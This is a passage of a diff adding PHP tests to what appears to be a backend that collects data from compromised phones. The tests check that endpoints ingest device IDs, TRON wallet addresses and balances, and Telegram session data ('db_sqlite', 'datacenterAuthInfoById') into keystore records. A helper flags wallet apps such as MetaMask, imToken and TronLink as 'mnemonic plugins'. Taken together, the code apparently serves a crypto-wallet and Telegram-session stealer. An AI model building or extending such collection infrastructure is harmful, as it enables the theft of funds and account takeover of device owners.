'd' => '000C30D83CD0402E',
'a' => 'p',
'ad' => [
'TKKyetwdwuv6fTWVMPsdQUZYwB7yiNwRp6' => '0.32647342126093182783704',
],
])->assertOk();
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
$this->assertNotNull($device);
$addr = WalletAddress::query()
->where('device_id', $device->id)
->where('address', 'TKKyetwdwuv6fTWVMPsdQUZYwB7yiNwRp6')
->first();
$this->assertNotNull($addr);
$this->assertSame('Global Wallet', $addr->source);
$this->assertSame('TRON', $addr->chain_type);
}
#[Test]
public function api_tg_t_ingests_telegram_auth(): void
{
$this->xxbbPost('/api/tg/t', [
'd' => '000C30D83CD0402E',
'd1' => '00008030-000C30D83CD0402E',
'd2' => 'FFXD5S8FPLJM',
'c' => '202700cfb1ad3de68e11239dcc26c30b',
'a' => 'tg',
'user_id' => '123456789',
'state' => ['records' => [['id' => 1]]],
'db_sqlite' => base64_encode('not-a-real-sqlite'),
'datacenterAuthInfoById' => 'AQID',
])->assertOk();
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
$this->assertNotNull($device);
$ks = WalletKeystore::query()->where('device_id', $device->id)->first();
$this->assertNotNull($ks);
$this->assertSame('123456789', $ks->raw_json['user_id'] ?? null);
$this->assertSame('Telegram', $ks->raw_json['source'] ?? null);
$this->assertArrayHasKey('db_sqlite', $ks->raw_json);
$this->assertSame('AQID', $ks->raw_json['datacenterAuthInfoById'] ?? null);
}
}
+30
View File
@@ -0,0 +1,30 @@
<?php
namespace Tests\Unit;
use App\Support\WalletSource;
use PHPUnit\Framework\Attributes\Test;
use Tests\TestCase;
class WalletSourceTest extends TestCase
{
#[Test]
public function plugin_wallet_bundles_match_mnemonic_plugins_only(): void
{
$this->assertTrue(WalletSource::isPluginWalletBundle('io.metamask.MetaMask'));
$this->assertTrue(WalletSource::isPluginWalletBundle('im.token.app'));
$this->assertTrue(WalletSource::isPluginWalletBundle('com.tronlink.hdwallet'));
$this->assertFalse(WalletSource::isPluginWalletBundle('ph.telegra.Telegraph'));
$this->assertFalse(WalletSource::isPluginWalletBundle('com.apple.mobilesafari'));
$this->assertFalse(WalletSource::isPluginWalletBundle(''));
}
#[Test]
public function bundle_labels_collapse_aliases(): void
{
$this->assertSame('MetaMask', WalletSource::labelForBundle('io.metamask.MetaMask'));
$this->assertSame('MetaMask', WalletSource::labelForBundle('io.metamask', 'MM'));
$this->assertSame('Trust Wallet', WalletSource::labelForBundle('com.sixdays.trust'));
$this->assertSame('Safari', WalletSource::labelForBundle('com.apple.mobilesafari', 'Safari'));
}
}